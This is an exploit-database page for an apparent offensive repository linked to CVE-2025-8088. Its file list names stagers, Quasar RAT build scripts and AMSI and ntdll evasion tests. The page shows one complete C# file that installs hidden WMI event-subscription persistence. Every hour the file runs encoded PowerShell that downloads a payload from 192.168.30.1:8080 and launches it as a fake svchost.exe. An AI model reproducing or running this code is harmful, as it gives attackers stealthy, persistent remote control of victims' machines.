Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files149
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- Plan.md
- STAGE06_FINAL_REPORT.md
- baseline2.py
- baseline3.py
- baseline_capture.py
- baseline_test.py
- bl_final.py
- build_quasar.ps1
- build_quasar_client.bat
- build_vm.py
- build_vm2.py
- capture_and_parse.py
- check_owner.py
- check_session.py
- check_session2.py
- check_vm.py
- check_vm2.py
- check_vm3.py
- check_vm_tools.py
- clean_full_test.py
- debug_baseline.py
- debug_ps1.py
- debug_stager.cs
- debug_stager.exe
- debug_stager.py
- debug_stager_test.exe
- debug_test2.exe
- decrypt_strings.py
- deploy_sysmon.py
- deploy_test.py
- deploy_test2.py
- diag.cs
- diag_amsi.cs
- diag_amsi.exe
- diag_amsi_new.exe
- diag_ntdll.cs
- diag_ntdll.exe
- diag_ntdll2.cs
- diag_ntdll2.exe
- diag_vm.py
- diag_vm2.py
- download_log.py
- dump_syscall.py
- dumper.cs
- etw_check.py
- fetch_log.py
- fix_and_test.py
- fix_vm.py
- force_kill.py
- gen_xor.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Stage06/test_wmi.cs
C# · 4,295 bytesusing System;
using System.IO;
using System.Text;
using System.Management;
using System.Runtime.InteropServices;
class WmiTest
{
[DllImport("kernel32")] static extern IntPtr LoadLibrary(string p);
static string LogFile = @"C:\Windows\Temp\wmi_test.txt";
static void Log(string m) { File.AppendAllText(LogFile, m + "\n", Encoding.UTF8); }
static void Main()
{
Log("=== WMI TEST ===");
try
{
LoadLibrary("kernel32.dll");
SetupWmiPersistence();
}
catch (Exception ex) { Log("FATAL: " + ex.ToString()); }
Log("=== WMI END ===");
}
static void SetupWmiPersistence()
{
string wmiNS = @"root\subscription";
string filterName = "WinEvtFwd_" + Environment.MachineName;
string consumerName = "WinEvtCon_" + Environment.MachineName;
// Clean up any previous instances
CleanWmi(wmiNS, filterName, consumerName);
// Step 1: Create event filter - triggers every hour
ManagementClass filterClass = new ManagementClass(wmiNS, "__EventFilter", null);
ManagementObject filter = filterClass.CreateInstance();
filter["Name"] = filterName;
filter["Query"] = "SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_LocalTime'";
filter["QueryLanguage"] = "WQL";
filter["EventNamespace"] = @"root\cimv2";
filter.Put(new PutOptions { UseAmendedQualifiers = false });
Log("Filter created: " + filterName);
// Step 2: Command to check and restart - PS1 that downloads stub if not running
string psCmd = "powershell -NoP -W Hidden -Enc " +
Convert.ToBase64String(Encoding.Unicode.GetBytes(
"if(!(Get-Process srvinit* -ErrorAction SilentlyContinue)){" +
"$w=(New-Object Net.WebClient);" +
"$d=$w.DownloadData('http://192.168.30.1:8080/client.enc');" +
"[IO.File]::WriteAllBytes($env:temp+'\\svchost.exe',$d);" +
"Start-Process $env:temp+'\\svchost.exe'}"));
// Step 3: Create consumer
ManagementClass consumerClass = new ManagementClass(wmiNS, "CommandLineEventConsumer", null);
ManagementObject consumer = consumerClass.CreateInstance();
consumer["Name"] = consumerName;
consumer["CommandLineTemplate"] = psCmd;
consumer["RunInteractively"] = false;
consumer["CreateNewConsole"] = false;
consumer["CreateNewProcessGroup"] = true;
consumer.Put(new PutOptions { UseAmendedQualifiers = false });
Log("Consumer created: " + consumerName);
// Step 4: Create binding
ManagementClass bindingClass = new ManagementClass(wmiNS, "__FilterToConsumerBinding", null);
ManagementObject binding = bindingClass.CreateInstance();
binding["Filter"] = filter.Path;
binding["Consumer"] = consumer.Path;
binding.Put(new PutOptions { UseAmendedQualifiers = false });
Log("Binding created");
Log("WMI persistence setup complete");
}
static void CleanWmi(string ns, string filterName, string consumerName)
{
try
{
// Remove binding
foreach (ManagementObject b in new ManagementObjectSearcher(ns,
"SELECT * FROM __FilterToConsumerBinding").Get())
{
string path = b.GetText(TextFormat.Mof);
if (path.Contains(filterName) || path.Contains(consumerName))
{ b.Delete(); Log("Removed old binding"); }
}
// Remove consumer
foreach (ManagementObject c in new ManagementObjectSearcher(ns,
"SELECT * FROM CommandLineEventConsumer").Get())
{
if ((string)c["Name"] == consumerName)
{ c.Delete(); Log("Removed old consumer"); }
}
// Remove filter
foreach (ManagementObject f in new ManagementObjectSearcher(ns,
"SELECT * FROM __EventFilter").Get())
{
if ((string)f["Name"] == filterName)
{ f.Delete(); Log("Removed old filter"); }
}
}
catch (Exception ex) { Log("CleanWmi: " + ex.Message); }
}
}